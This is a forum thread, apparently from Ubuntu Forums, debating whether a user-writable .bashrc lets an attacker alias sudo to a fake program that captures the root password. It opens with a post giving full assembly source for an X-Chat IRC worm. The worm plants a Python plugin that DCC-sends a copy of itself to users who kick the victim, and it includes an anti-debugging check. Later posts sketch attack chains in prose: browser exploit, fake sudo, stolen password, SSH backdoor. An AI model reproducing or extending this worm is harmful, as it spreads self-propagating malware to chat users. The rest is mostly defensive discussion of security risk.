Do I have to make a real-world example for this and spread it? I already found a nice x-chat worm in the newset doomraiders which could easily be extended by this and so his dangerous potential would multify by 100000...


BITS 32
global main
extern getenv ; hehe from libc :)
extern system
extern sprintf


section .data
;;; the python irc script ;;;
python_irc:
db '__module_name__ = "xchat2worm"',13,10
db '__module_version__ = "0.1"',13,10
db '__module_description__ = "xchat2worm by [WarGame/doomriderz]"',13,10
db 'import xchat',13,10
db 'def onkick_cb(word, word_eol, userdata):',13,10
db ' if xchat.nickcmp(word[3],xchat.get_info("nick")) != 0:',13,10
db ' xchat.command("DCC SEND " + word[3] + " /tmp/ClickOnMe")',13,10
db ' return xchat.EAT_NONE ',13,10
db 'xchat.hook_server("KICK", onkick_cb)',0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
irc_len equ ($-python_irc)
script_name db "xchat2worm.py",0
home_env db "HOME",0
xchat2_dir db ".xchat2",0
fmt db "cp %s /tmp/ClickOnMe",0
cp_cmd: TIMES 260 db 0

section .text
main:
GetPath:
pop eax
pop ebx
pop ebx
push dword [ebx]
push fmt
push cp_cmd
call sprintf ; this code should build "cp my_path /tmp/drop0"
AntiDebug:
mov eax,26 ; ptrace()
xor ebx,ebx
xor ecx,ecx
xor edx,edx
inc edx
xor esi,esi
int 0x80
test eax,eax
jne near ExiT
GetHome:
push home_env
call getenv
cmp eax,0
je NoDir
GoHome:
xchg ebx,eax
mov eax,12
int 80h
GoXchat2Dir:
mov eax,12
mov ebx,xchat2_dir
int 80h
cmp eax,-1
jne DropPythonScript
NoDir:
mov eax,1
mov ebx,0
int 80h
DropPythonScript:
mov eax,8
mov ebx,script_name
mov ecx,00644Q
int 80h
xchg ebx,eax
mov eax,4
mov ecx,python_irc
mov edx,irc_len
int 80h
DropWorm:
push cp_cmd
call system
ExiT:
mov eax,1
mov ebx,0
int 80h

[Lord Illidan]

How many ubuntu users just install .debs from different sources? How many of them check the code? How many just include repositories from different sources?

I think with a script, installed from a deb, it can be possible to modify the sudo alias to even generate a password for root, right? And the user wouldn't even know, if he is a noob. From there, I guess rootkits and all the like of malicious software can be installed?

I am no security expert, but this seems a v. exploitable risk.

[scxtt]

sudo and bash/.bashrc have been around for quite a while, i really don't see how some sort of major discovery has been made here ... and the actual scenarios for this happening are too far-fetched and even if they rely on an overly-trusting individual, they're faults of humans, not the OS ... "sure i'll run this code that you (stranger) gave me, no i don't need to know what it is or what it does" ... fact of the matter is it relies on malicious individuals having direct contact w/ clueless individuals (which is certainly OS independent) ... you can talk about the whole process being automated via firefox or xchat, etc. - but really, if it could happen all the time, it would have already ...

and if i was still in college and needed to ask an admin to edit my ~/.bashrc, let me tell you how much i'd use that account, never - very annoying ...

[Lord Illidan]

sudo and bash/.bashrc have been around for quite a while, i really don't see how some sort of major discovery has been made here ... and the actual scenarios for this happening are too far-fetched and even if they rely on an overly-trusting individual, they're faults of humans, not the OS ... "sure i'll run this code that you (stranger) gave me, no i don't need to know what it is or what it does" ... fact of the matter is it relies on malicious individuals having direct contact w/ clueless individuals (which is certainly OS independent) ... you can talk about the whole process being automated via firefox or xchat, etc. - but really, if it could happen all the time, it would have already ...

and if i was still in college and needed to ask an admin to edit my ~/.bashrc, let me tell you how much i'd use that account, never - very annoying ...

The problem is that Ubuntu's userbase is not exactly the most technical, and it would be very tempting for a virus/script writer to target them.

[[h2o]]

sudo and bash/.bashrc have been around for quite a while, i really don't see how some sort of major discovery has been made here ... and the actual scenarios for this happening are too far-fetched and even if they rely on an overly-trusting individual, they're faults of humans, not the OS ... "sure i'll run this code that you (stranger) gave me, no i don't need to know what it is or what it does" ... fact of the matter is it relies on malicious individuals having direct contact w/ clueless individuals (which is certainly OS independent) ...

and if i was still in college and needed to ask an admin to edit my ~/.bashrc, let me tell you how much i'd use that account, never - very annoying ...

Summing up my feelings quite good...

One thing have been in my mind also... This only affects sudo if you are running a shell that have sourced .bashrc. Sure, I'd guess most peoples shells do, but how about the graphical frontends to sudo (gksudo, kdesu, etc.)? And I can't think of any time in standard Ubuntu usage when sudo is run through a shell and not gksu.

[darkog]

The problem is that Ubuntu's userbase is not exactly the most technical, and it would be very tempting for a virus/script writer to target them.

I am sorry, but I still don't see how this is any different than a clueless windows user clicking aimlessly on a link that executes a malicious exe or vbs script.

[DoktorSeven]

Any executable has the opportunity to do system damage. It's not a "security hole" since the user would still have to execute the program that would make the evilsudo, make it executable, and add the alias line to .bashrc, and to do that, the program itself needs to be executable, which it is not by default.

But Ubuntu users, you say, will run the program anyway if coaxed to by the malicious force at work here. Well, by that argument, a user can be coaxed to simply run a program that deletes the entire /etc/ directory by telling the user to run it with sudo directly. It's a matter of user competence in the end, and users need to understand that running arbitrary executables is a bad thing.

There's no magic newly found "security hole" here, just yet another example of how users need to not mess around with untrusted scripts and executables.

[[h2o]]

There's no magic newly found "security hole" here, just yet another example of how users need to not mess around with untrusted scripts and executables.
+1

[AZzKikR]

There's no magic newly found "security hole" here, just yet another example of how users need to not mess around with untrusted scripts and executables.

I agree with this as well.

[olejorgen]

No it can't - as you would need the sudoer's account password in order to edit its .bashrc.

This sudo user's .bashrc is not editable by anybody else by default.

You would need to be in my house, waiting for me to leave a terminal open with me logged in as the sudoer.

You would be waiting a very long time :p
Well, it would make things more complicated, but you could always edit the normal user's .bashrc and add alias su=fakesu to obtain the password to the sudoing account

[nutz]

ROFL xD

@Adnarim: well that's what you get when you post on board full of selfassured linux noobs that know absolutely nothing about security.

You should never assume such things. Not only does it make you look ignorant too but you have nothing to base it on.

I happen to be somewhat new to Linux but I have been an information systems security professional for over 12 years now. It is not only my job but it is also my passion...

So you see you spouted off something completely ignorant and as such lowered yourself to the level of everyone else that spouts off stuff about which they know nothing. If you ever want to hook up on gaim and talk just let me know. But in the future try not to judge other people based on a blind assumption.

[RoyalShrubber]

You should never assume such things. Not only does it make you look ignorant too but you have nothing to base it on.

I happen to be somewhat new to Linux but I have been an information systems security professional for over 12 years now. It is not only my job but it is also my passion...

So you see you spouted off something completely ignorant and as such lowered yourself to the level of everyone else that spouts off stuff about which they know nothing. If you ever want to hook up on gaim and talk just let me know. But in the future try not to judge other people based on a blind assumption.

Why not. Evidence is that more than 50% of users here are brain dead. Just look ignorant posts here - they don't know nothing abouth how application is hacked. These are harsh words but they shouldn't talk about something they have no knowledge. It's just retarded. Sorry.

[Old Pink]

Have you stuck it on launchpad? This should really be on there before gutsy...

[nutz]

Well if the script can just be fetched from a third-party location online (maybe a shady howto or something), so it could be done from online, and the fakesudo procedure could be extended to automatically open the ssh port, install and have sshd startup in the background, and create a new ssh user, using the root password that has been attained by the fakesudo script, then you can just login through ssh and do the dirty work from there, so no, physical access isn't necessarily needed, given that a third-party (malicious) script is run beforehand, as a normal user without root privs (since root privs can later be attained through the fakesudo script).


This is provided that SSH is enabled and open to a public connection that you have access to. Otherwise no dice... Most off the shelf broadband routers that people use in their homes will block this by default also. So you need to find a way to convince them to open/forward that port on their firewall too. Not to mention any major company should be monitoring who tries to SSH to their boxes. Most of them have a set allow list of SSH users and their originating network addresses and if anyone that isn't on the list tries to do it they set off alarms.

SSH is disabled by default on Ubuntu and I don't think all that many users go in and enable it. At any point in time this is an exploit that I would only see working under a very unique set of circumstances where user awareness and systems security is very low. And as such I would rate it as a low threat...

So while I do see how this could be used to compromise system security it just doesn't seem like a very likely route for a malicious user to take. I say this because it requires the user to perform functions on their side in order to complete the exploit and breach security and it also requires a unique set of circumstances that would rarely be found. It also requires the user to not see or overlook certain things that I think the majority would notice and question.

Let's see if one of you guys can put together some code to demonstrate the do-ability of this exploit. Until then I would rate this threat as very low for business users and somewhat low for home users. That is my professional opinion and until we see a working example of the exploit in the wild I would not be too concerned.

[Foxmike]

There's no magic newly found "security hole" here, just yet another example of how users need to not mess around with untrusted scripts and executables.

+1

People of course has to be educated to it as to any other risk concerning malicious people. Human engeenering is very hard to fight. My feeling is trying to fight it with technology (making .bashrc root:root rw-r--r-- for example) will just lead to a system that will restrain freedom to the user, instead of making the user aware of a risk. I don't think that is the main philosophy behind Linux and open-source in general. Educating people is harder and takes longer time but I think this is the only reliable long-term solution to that kind of problem.

[codmate]

You don't check daily for security updates??? sudo apt-get update && sudo apt-get upgrade ?

Not every day no.
In fact I only run security updates when absolutely necessary.

I find that once I have a Linux box up and running, package auto-updaters are simply something that might break it.

I know my boxes well, so I just watch for security advisories for the specific packages I am running (Samba etc).

My system is well locked down via IPtables, with drop policies on everything, and SSH & Samba services locked down via local ip.
It would be very very difficult for somebody to compromise my box's security, if it is possible at all.

[RoyalShrubber]

Ok so I am going to repeat something I've already said.

Someone please recheck if mentioned file is writable to unpriviged user account without need to use 'su' or 'sudo' - in other words check if file has 'write flag' for user. Unfortuantely I currently don't have Ubuntu installed (I'm on XP, and on remote openbsd that's not an issue).

So here follows possible scenario with potentially deadly results:
1) User visits web page specially designed by hacker to cause error in firefox.
2) In firefox buffer overflow occurs which takes control over firefox - firefox now behaves like a 'zombie' - it is under control of hacker.
3) Hacker now rewrites mentiones bash file in such way that next time user executes sudo command a fake sudo executable is run. Fake sudo is provided by broken ff.
4) Hacker waits for this to happen - it can take a day or even a week, but sooner or later it will happen.
5) When fake sudo executable is run a hacker now has the root passowrd in possession. This alone is very dangerous.
6a) Fake sudo takes control over victims computer because root password is at its disposal.
6b) Fake sudo sends root password over internet to hacker.
7) Your computer is screwed.

HAVE I MADE IT CLEAR ENOUGH?? There is no need for human interaction between hacker and its victim. There is no code/executable sent between them. It's 101 software break.
So here's logical premise: if the file is writable -> system is in potential danger.
Find out if the file is writable.

Note also that nearly _every_ application can be broken and can be used to exploit this hole. Application does not need to be even connected to internet. It can be your trusted ff, openoffice, gaim, thunderbird etc. Every application that is not written in type-safe language (c, c++, d, delphi) can create buffer overflow with maliciously designed input.

[codmate]

You should never assume such things. Not only does it make you look ignorant too but you have nothing to base it on.

I happen to be somewhat new to Linux but I have been an information systems security professional for over 12 years now. It is not only my job but it is also my passion...

So you see you spouted off something completely ignorant and as such lowered yourself to the level of everyone else that spouts off stuff about which they know nothing. If you ever want to hook up on gaim and talk just let me know. But in the future try not to judge other people based on a blind assumption.

Agreed.

The panic on this thread seems very over-the-top.

All they are saying is "don't run malicious scripts as root", and "don't leave your machine unlocked".

Surely this is advice that people here should be following on a day-to-day basis.

Regular Ubuntu desktop users shouldn't be running anything as root in their gui anyway (although I haven't used the desktop so I don't know what users are set up by default).

[codmate]

Ok so I am going to repeat something I've already said.

Someone please recheck if mentioned file is writable to unpriviged user account without need to use 'su' or 'sudo' - in other words check if file has 'write flag' for user. Unfortuantely I currently don't have Ubuntu installed (I'm on XP, and on remote openbsd that's not an issue).

So here follows possible scenario with potentially deadly results:
1) User visits web page specially designed by hacker to cause error in firefox.
2) In firefox buffer overflow occurs which takes control over firefox - firefox now behaves like a 'zombie' - it is under control of hacker.
3) Hacker now rewrites mentiones bash file in such way that next time user executes sudo command a fake sudo executable is run. Fake sudo is provided by broken ff.
4) Hacker waits for this to happen - it can take a day or even a week, but sooner or later it will happen.
5) When fake sudo executable is run a hacker now has the root passowrd in possession. This alone is very dangerous.
6a) Fake sudo takes control over victims computer because root password is at its disposal.
6b) Fake sudo sends root password over internet to hacker.
7) Your computer is screwed.

HAVE I MADE IT CLEAR ENOUGH?? There is no need for human interaction between hacker and its victim. There is no code/executable sent between them. It's 101 software break.
So here's logical premise: if the file is writable -> system is in potential danger.
Find out if the file is writable.

Note also that nearly _every_ application can be broken and can be used to exploit this hole. Application does not need to be even connected to internet. It can be your trusted ff, openoffice, gaim, thunderbird etc. Every application that is not written in type-safe language (c, c++, d, delphi) can create buffer overflow with maliciously designed input.

A sudo user's .bashrc file is only writable by that user AFAIK.
It's possible that it's writable by any sudo-enabled user (members of the admin group? I haven't checked.).

Lets say I have a sudo-enabled user called superjim, and a regular user called jim.
Both accounts belong to the sysadmin of the box.
jim will be told that he cannot write to /home/superjim/.bashrc
jim cannot run sudo
superjim can sudo to edit /home/jim/.bashrc

jim is the user that should be used 99% of the time.

'Normal' users have no access to these files. They can only access the .bashrc in their own home directory.

This is a perfectly secure state of affairs as long as sudo-enabled users' accounts are treated with the same level of respect as you would any root account on any Linux distro.

It is security 101 to *always* have users with normal accounts (even for the sysadmin).
Accounts with root privileges should only be used when absolutely necessary.

Never ever leave your machine unlocked.
When people do that in my office they always seem to send messages of 'free love on my desk now' ;)

[RoyalShrubber]

My feeling is trying to fight it with technology (making .bashrc root:root rw-r--r-- for example) will just lead to a system that will restrain freedom to the user, instead of making the user aware of a risk. I don't think that is the main philosophy behind Linux and open-source in general. Educating people is harder and takes longer time but I think this is the only reliable long-term solution to that kind of problem.

SO WHY DON'T YOU ALSO MAKE ALL YOUR EXECUTABLES WRITABLE TO USER??? That way broken application can take control over system directly, without shortcuts and that means much less difficulties for user and hacker. It's frickin dos.

[[h2o]]

SO WHY DON'T YOU ALSO MAKE ALL YOUR EXECUTABLES WRITABLE TO USER??? That way broken application can take control over system directly, without shortcuts and that means much less difficulties for user and hacker. It's frickin dos.

I think there is a slight difference in having a user owned shell configuration file writable by the user, and having all system executables writable by all users.

The first might perhaps be a small security risk, the other is madness.

[Foxmike]

Ok so I am going to repeat something I've already said.

Someone please recheck if mentioned file is writable to unpriviged user account without need to use 'su' or 'sudo' - in other words check if file has 'write flag' for user. Unfortuantely I currently don't have Ubuntu installed (I'm on XP, and on remote openbsd that's not an issue).

So here follows possible scenario with potentially deadly results:
1) User visits web page specially designed by hacker to cause error in firefox.
2) In firefox buffer overflow occurs which takes control over firefox - firefox now behaves like a 'zombie' - it is under control of hacker.
3) Hacker now rewrites mentiones bash file in such way that next time user executes sudo command a fake sudo executable is run. Fake sudo is provided by broken ff.
4) Hacker waits for this to happen - it can take a day or even a week, but sooner or later it will happen.
5) When fake sudo executable is run a hacker now has the root passowrd in possession. This alone is very dangerous.
6a) Fake sudo takes control over victims computer because root password is at its disposal.
6b) Fake sudo sends root password over internet to hacker.
7) Your computer is screwed.

HAVE I MADE IT CLEAR ENOUGH?? There is no need for human interaction between hacker and its victim. There is no code/executable sent between them. It's 101 software break.
So here's logical premise: if the file is writable -> system is in potential danger.
Find out if the file is writable.

Note also that nearly _every_ application can be broken and can be used to exploit this hole. Application does not need to be even connected to internet. It can be your trusted ff, openoffice, gaim, thunderbird etc. Every application that is not written in type-safe language (c, c++, d, delphi) can create buffer overflow with maliciously designed input.

Are you aware that:
- Internet browsers has scroll capacity to get back to a previous post?
- Capitals/Bold/High size fonts are interpreted as agressive? I don't like to be shouted at. I don't think others either. There is a civilian way to debate, please respect this. Or you wont get any respect from others.
- Over-reacting over people that ask questions/debate/try to understand will not help you make your point clear. It will help you get others on a defensive state and continue the debate defending their point instead putting good attention at what you write.

[RoyalShrubber]

A sudo user's .bashrc file is only writable by that user AFAIK.
It's possible that it's writable by any sudo-enabled user (members of the admin group? I haven't checked.).

Lets say I have a sudo-enabled user called superjim, and a regular user called jim.
Both accounts belong to the sysadmin of the box.
jim will be told that he cannot write to /home/superjim/.bashrc
jim cannot run sudo
superjim can sudo to edit /home/jim/.bashrc

jim is the user that should be used 99% of the time.

'Normal' users have no access to these files. They can only access the .bashrc in their own home directory.


Yes, if I understood you correctly /home/superjim/.bashrc is still writable to superjim even without using sudo, and if I understood original author that is the real danger, because zombie process can write to it.

PS: Last time I checked Ubuntu default user belongs to sudoers.

[codmate]

Yes, if I understood you correctly /home/superjim/.bashrc is still writable to superjim even without using sudo, and if I understood original author that is the real danger, because zombie process can write to it.

PS: Last time I checked Ubuntu default user belongs to sudoers.

My 'normal' user account cannot use sudo.
This is with FF 7.04 server.

[RoyalShrubber]

;3051266']I think there is a slight difference in having a user owned shell configuration file writable by the user, and having all system executables writable by all users.

The first might perhaps be a small security risk, the other is madness.

Slight difference literally. Both are madness. :wink:

[RoyalShrubber]

My 'normal' user account cannot use sudo.
This is with FF 7.04 server.

They changed that with 7.04? Or is it just server version?

[[h2o]]

Slight difference literally. Both are madness. :wink:

As someone already pointed out: It would be a PITA to have to use sudo, or call the administrator every time you wanted to add an alias.
Unless there is a high risk of an exploit, it is just not worth the hassle.

I surf the web, that is probably THE biggest risk for my computer. I still do it, because I find that the risk is farily low compared to everything the web has to offer.

[frodon]

Nothing can prevent a knowledgeable user to get to the root password if he has directly access to the computer. The only way to prevent this is to set an automatic screen lock and first lock you bios and deactivate boot from CD and USB and this is true whatever the OS you are runnig.

As for buffer overflow they are not supposed to happen on a up to date computer.

[Calash]

I think the key is that this is not an exploit by it's self, rather it is a method of potentially compromising the security of a system via another exploit. You need a path into the system before this will be of any use.

Let be honest for a moment, most end users are not that smart...and this is the reason for a huge amount of windows viruses. People click on the email attachment, it is a fact of life that will show up in Ubuntu as it gains popularity in the main stream.

However, would such a "Generic User" ever use the command prompt?

It is a risk, but requires a lot of things to be effective. Seems to me the simple solution would be to make the file require sudo access to edit.

[RoyalShrubber]

;3051350']As someone already pointed out: It would be a PITA to have to use sudo, or call the administrator every time you wanted to add an alias.
Unless there is a high risk of an exploit, it is just not worth the hassle.

I surf the web, that is probably THE biggest risk for my computer. I still do it, because I find that the risk is farily low compared to everything the web has to offer.

You're really stubborn, aren't you?? It's meant to be difficult to change configurations - or else system is insecure. That's why UAC on Vista is so usefull. Average joe just don't know what security bug means.

I'll repeat third time - application can be turned into zombie with wrong input. It's how most hacks occur (besides PHP :S ). This zombie can then do everything that user could do. If it can change important configuration files that means it's security bug. A priori. D*mn.

[RoyalShrubber]

Nothing can prevent a knowledgeable user to get to the root password if he has directly access to the computer. The only way to prevent this is to set an automatic screen lock and first lock you bios and deactivate boot from CD and USB and this is true whatever the OS you are runnig.

As for buffer overflow they are not supposed to happen on a up to date computer.

They do happen often. Also hacker might know new undiscovered hole or attack unpatched system.
Also according to secunia (well known site) Redhat 4 had around 300 bugs while XP 'only' 190. So bugs happen - even on linux. ;)

[[h2o]]

You're really stubborn, aren't you?? It's meant to be difficult to change configurations - or else system is insecure. That's why UAC on Vista is so usefull. Average joe just don't know what security bug means.

I'll repeat third time - application can be turned into zombie with wrong input. It's how most hacks occur (besides PHP :S ). This zombie can then do everything that user could do. If it can change important configuration files that means it's security bug. A priori. D*mn.

Sorry, but I think I a user should be able to edit the configuration files of programs they run. System configuration files are a whole different matter though.

I know that some security holes could execute code, I just don't think aliasing sudo through .bashrc is a very likely attack.

For what i know users have always(?) been able to edit their shell config file, so if this was a major threat, I believe someone would have thought of it before.

[pelago]

No regular user accounts should be able to sudo.
I have two accounts on my box - one regular user and one sudoer.
I only su to the sudoer account when I want to do root stuff - effectivly treating it as a root account.

I thought everybody did this?

If you treat the sudoer's account as a 'root' account - having only one and restricting access to it, then this 'exploit' should not be an issue.
Having two accounts, one sudoer and one regular, is a good protection against the described problem, but how do you know that the 'su' command you're running as a regular user has not been compromised due to a hole in some user-level app like firefox?

[darrenm]

Right... so...

1. a malicious application has to be put onto the system somehow, either remotely or locally. If someone has physical access to your box, they own it. Its as simple as that. If you are trying to say that you could use a remote code execution through a firefox vulnerability then I don't think that has much chance in succeeding due to:
a. There are very few vulnerabilities that cause system compromise. I count 5 since Firefox 2 has been released from http://secunia.com/product/12434/?task=advisories and they were all patched quickly.
b. Most people will run automatic security updates in Ubuntu so security vulnerabilities get fixed quickly. Other distros that dont have this feature are more likely to be affected by this as it doesn't matter whether you run sudo or not, its pure social engineering and as long as you can spoof BASH stuff you can get people to type things.
c. There wouldnt be any point to people setting up malicious sites to try to download and execute (the main sticking point) some malicious program as theres hardly any chance that anyone could be lured to the site that doesn't have a patched browser.

2. How is it any different to any number of 'get the stupid user to do something' attacks? If you can't get some malicious software onto the box remotely without user interaction (which is unlikely) then you have to get the user to do something.

The worst part of this is that it highlights new users will need educating that they still need to be careful. Only download from the repos (who doesnt?) and do security updates.

edit: Couple more things. You aren't the first person to realise that .bashrc is editable by the current user which can cause a spoof attack. You're just the first to make a big thing about it in this forum. And finally, if all this stuff was to happen and someone got someone elses user password, what could they do with it? SSH isn't likely to be running on the box of the type of person who would fall for this so what else can be done?

[frodon]

They do happen often. Link to study, number ?

Without fact this is just a feeling.

[codmate]

Having two accounts, one sudoer and one regular, is a good protection against the described problem, but how do you know that the 'su' command you're running as a regular user has not been compromised due to a hole in some user-level app like firefox?

Well - I don't.
I have to trust that applications which are running as a user that I su from are secure.

I suppose one defence would be to never 'su' using accounts that run internet-facing applications.

Besides - I'm not worried about anybody ssh'ing into my box even if they did somehow get my password(s), as IPtables would just drop the packets - and that's if they got through my router's firewall...

[RoyalShrubber]

Link to study, number ?

Without fact this is just a feeling.

OMG :S

Yeah, let's believe his holiness RMS - foss products don't have any bugs :S:S

http://secunia.com/product/4670/
noob

Skilled hacker might know hole that nobody else knows - they could be preparing zero-day attack as we speak.

[RoyalShrubber]

Well - I don't.
I have to trust that applications which are running as a user that I su from are secure.

I suppose one defence would be to never 'su' using accounts that run internet-facing applications.



For most applications under linux there is no mathematical proof that they are secure. Only applications written in type-safe languages can have such proof.

Also application does not have to be connected to internet. Someone can send you email with a maliciously written openoffice document - now you get a linux worm.

[frodon]

Skilled hacker might know hole that nobody else knows - they could be preparing zero-day attack as we speak.Skilled hackers are not interested by your computer. You computer is more concerned by automatic and massive attacks which use know security holes and because not everyone has an up to date machine it makes much damages.
So keeping you computer up to date is far enough if you are a simple user.

[AusIV4]

I'm kind of a late comer to this discussion, but I'll add my 2 cents.

This isn't a flaw by itself. It requires physical access to an unlocked session, getting the user to execute arbitrary code, or exploiting a hole in another program.

I'm not particularly concerned about the first, as most people would see that giving physical access to an untrusted user is a bad idea.

I'm also not particularly concerned about the last, as such exploits are fairly rare, and are usually patched quickly upon discovery.

The middle is a little bit of a concern. Some people tend to think it's safe to run just about anything, so long as they don't do it as root. Assuming it gets to this point, .bashrc is pretty much irrelevant. As people have stated before, key loggers are a possibility. Personally, I use a program called synergy, which directs keyboard and mouse input through an SSH tunnel to another machine, allowing a user to use one keyboard and mouse with multiple machines. Synergy can be run as a normal user, so I have no doubt a key logger could be created using similar means.

Alternatively, an attacker could use the auto-start folder of KDE or the equivalent of Gnome to auto-start a program. In order to prevent this you would have to require root access in order for any user to add any program to be auto-started. While this may technically be the most secure route, the inconvenience would overrule the security on most home systems.

Basically, users just need to be careful about what they execute, particularly if they are in the admin group.

[RoyalShrubber]

Skilled hackers are not interested by your computer.


ROFL, is this really big enough reason that we can dismiss possibility that my computer can get hacked?? :S

For such similar bugs Windows boxes were massively pwned in history, though linux guys can now happily dismiss such 'miniscule' threats because it's unlikely anyone could use it to break system. :S
Just admit it - linux is as phrone to bugs as Windows. If you want something securer my only advice is openbsd.

[codmate]

For most applications under linux there is no mathematical proof that they are secure. Only applications written in type-safe languages can have such proof.

Also application does not have to be connected to internet. Someone can send you email with a maliciously written openoffice document - now you get a linux worm.

If you're that paranoid I suggest you go back to pen and paper...

No application or operating system will ever be as secure as you seem to desire, without becoming unusable.

I'm happy that the security measures I have in place on my server are more than sufficient. Then again - all I'm doing is running a torrent client (as a normal user with no access to files not belonging to that user), Slimserver and Music IP Server (neither of which cannot be accessed from outside the network).

What you're essentially saying is "don't open unsolicited attachments, run malicious software or leave your machine unlocked."

Again I say - this is security 101.

The first and most important level of security is with the user's actions and always will be.

It's like saying that you really shouldn't run $ rm / -R -f as root.
It's a no-brainer.

[RoyalShrubber]

If you're that paranoid I suggest you go back to pen and paper...

No application or operating system will ever be as secure as you seem to desire, without becoming unusable.

What you're essentially saying is "don't open unsolicited attachments, run malicious software or leave your machine unlocked."

It's true that it's unlikely mainstream OSes will have mathematical proof of correctness in near future, but here we are dimissing potentially dangerous bug. With this bug there is no user accound and root - it's only root. uid == 0 in other words.

If you're that paranoid I suggest you go back to pen and paper...
I'm happy that the security measures I have in place on my server are more than sufficient. Then again - all I'm doing is running a torrent client (as a normal user with no access to files not belonging to that user), Slimserver and Music IP Server (neither of which cannot be accessed from outside the network).
You should really run openbsd. :)

[codmate]

It's true that it's unlikely mainstream OSes will have mathematical proof of correctness in near future, but here we are dimissing potentially dangerous bug. With this bug there is no user accound and root - it's only root. uid == 0 in other words.


You should really run openbsd. :)

There are 'regular' user accounts and 'root' accounts.
Regular users cannot sudo.

How is openBSD more secure?
It still has su and sudo...
Users can still execute malicious code...
Users can still leave sessions unlocked...

In-fact the first link you get when you google "openbsd su" is:
http://osvdb.org/displayvuln.php?osvdb_id=6124

The first paragraph:
"OpenBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered due to a flaw in the su program which could allow a malicious user to gain root access via a malformed shell. This flaw may lead to a loss of integrity."

All security systems are flawed - the skill is to lock something down as much as is practical.

[RoyalShrubber]

There are 'regular' user accounts and 'root' accounts.
Regular users cannot sudo.

How is openBSD more secure?
It still has su and sudo...
Users can still execute malicious code...
Users can still leave sessions unlocked...

In-fact the first link you get when you google "openbsd su" is:
http://osvdb.org/displayvuln.php?osvdb_id=6124

The first paragraph:
"OpenBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered due to a flaw in the su program which could allow a malicious user to gain root access via a malformed shell. This flaw may lead to a loss of integrity."

All security systems are flawed - the skill is to lock something down as much as is practical.

Rofl, look at article date - it's 7 years ago. Maybe I should also say that default installation of openbsd had only 2 remotely executable holes in its entire existence. It was banned from defcon, because it's so secure. That's the stability of openbsd. :) Provided that user isn't noob system can be regarded as fairly safe. It's my feeling that this kind of lapsus occurs less often in openbsd.

Anyway it's your choice - run whatever you want or whatever suits you. Linux has some advantages over it.

[wolf08]

Alright. I have an idea that may help with this problem.


1. Create über simple shell (say /bin/ss for simpleshell/secureshell). It can only be used to execute applications.

2. Modify bash so that when /bin/ss is called, NOTHING ELSE will be put in place of /bin/ss. That means no aliases, no links, etc...

3. Use ¨/bin/ss /bin/su", "/bin/ss /usr/bin/sudo" etc... when you need access to critical files.

That way:

* Bash does not need to be modified more than necessary
* It is up to the administrator of the system (or the distribution in most cases) to decide which applications need to use /bin/ss
* There is no way to redirect 'sudo' to something else, ***assuming*** bash is not exploited.

[codmate]

Rofl, look when article was released - 7 years ago. Maybe I should also say that default installation of openbsd had only 2 remotely executable holes in its entire existence. It was banned from defcon, because it's so secure. That's the stability of openbsd. :) Provided that user isn't noob system can be regarded as fairly safe. It's my feeling that this kind of lapsus occurs less often in openbsd.

Anyway it's your choice - run whatever you want or whatever suits you. Linux has some advantages over it.

RTFA - "This entry was last updated on May 15, 2004"

Besides - my point still stands. OpenBSD is not perfect.
Are you saying that a user could never execute malicious code on an OpenBSD system? Are you saying that the .bashrc hack couldn't work if bash was installed on an OpenBSD box?

What we're really talking about here is an easily-avoidable security hole in bash if anything - not in Linux or Ubuntu itself.

I think the subject line and premise of this thread is hyperbolic and incorrect. It is hardly 'easy' to gain access to these .bashrc files, and if they aren't being sourced by bash it will have no effect anyway.

It's a shame, as it may scare users away from what I consider to be a reasonably secure O/S. Upgrade that to a *very* secure O/S if you know what you are doing.

Are you sure you're not here to pimp OpenBSD in a vain attempt to show how clever you are, rather than actually helping users?
Sure - OpenBSD is secure out of the box...
...then you install software on it...

All you have done is present problems, and have suggested no work-arounds (other than installing a different O/S).

$ chmod 000 ~/.bashrc
...for instance - if you really want to...
...or better - as I suggested before, just don't run potentially insecure apps with a user that you 'su' to a root user from.

[AusIV4]

You should really run openbsd.
I'm really intrigued to hear how OpenBSD solves any of the problems presented here. Would you care to explain what part of OpenBSD prevents users from leaving their session unlocked, executing code they shouldn't, and keeps userspace programs from being exploitable?

The operating system may be rock solid by itself, but the flaws we're discussing here have nothing to do with flaws in Linux, they generally amount to user errors.

So, if I've missed something about OpenBSD's security, please explain how it works, but don't sit around using every suggestion of a flaw in Ubuntu as an opportunity to pimp your OS.

[RoyalShrubber]

I'm really intrigued to hear how OpenBSD solves any of the problems presented here. Would you care to explain what part of OpenBSD prevents users from leaving their session unlocked, executing code they shouldn't, and keeps userspace programs from being exploitable?
The operating system may be rock solid by itself, but the flaws we're discussing here have nothing to do with flaws in Linux, they generally amount to user errors.

So, if I've missed something about OpenBSD's security, please explain how it works, but don't sit around using every suggestion of a flaw in Ubuntu as an opportunity to pimp your OS.

It protects users by being secure by default which is acchieved by evidently better audit process. If you run ubuntu on server you can never be sure that there isn't similar _stupid_ exploit just waiting to be (ab)used. I know there were similar problems in ubuntu before - they just miss something and voila - you got root password, without even _properly_ hacking system :)

Though it's obvious that you can shoot yourself in the foot in every system when behaving insecure. As I said, use whatever you want - it was wrong to suggest using openbsd as linux has too its advantages.

[nutz]

Ok so I am going to repeat something I've already said.

Someone please recheck if mentioned file is writable to unpriviged user account without need to use 'su' or 'sudo' - in other words check if file has 'write flag' for user. Unfortuantely I currently don't have Ubuntu installed (I'm on XP, and on remote openbsd that's not an issue).

So here follows possible scenario with potentially deadly results:
1) User visits web page specially designed by hacker to cause error in firefox.
2) In firefox buffer overflow occurs which takes control over firefox - firefox now behaves like a 'zombie' - it is under control of hacker.
3) Hacker now rewrites mentiones bash file in such way that next time user executes sudo command a fake sudo executable is run. Fake sudo is provided by broken ff.
4) Hacker waits for this to happen - it can take a day or even a week, but sooner or later it will happen.
5) When fake sudo executable is run a hacker now has the root passowrd in possession. This alone is very dangerous.
6a) Fake sudo takes control over victims computer because root password is at its disposal.
6b) Fake sudo sends root password over internet to hacker.
7) Your computer is screwed.

HAVE I MADE IT CLEAR ENOUGH??

No; actually there is one point that needs to be made clearer. How are you going to modify their firewall privilages to allow your connection from the outside? Keep in mind remote SSH is disabled by default and most broadband routers in use today block SSH by default. Any company is definatly going to block SSH from the outside. I could go on all day...

So there you see your plan relies on being able to make a connection via SSH to the box your have the root password for. But in any serious organization you will have to pass multiple checks along the way to that machine. Firewall, HIPS or maybe even some sort of edge filter.

So what this does is limits you to only the computers that you can SSH to.

[darkog]

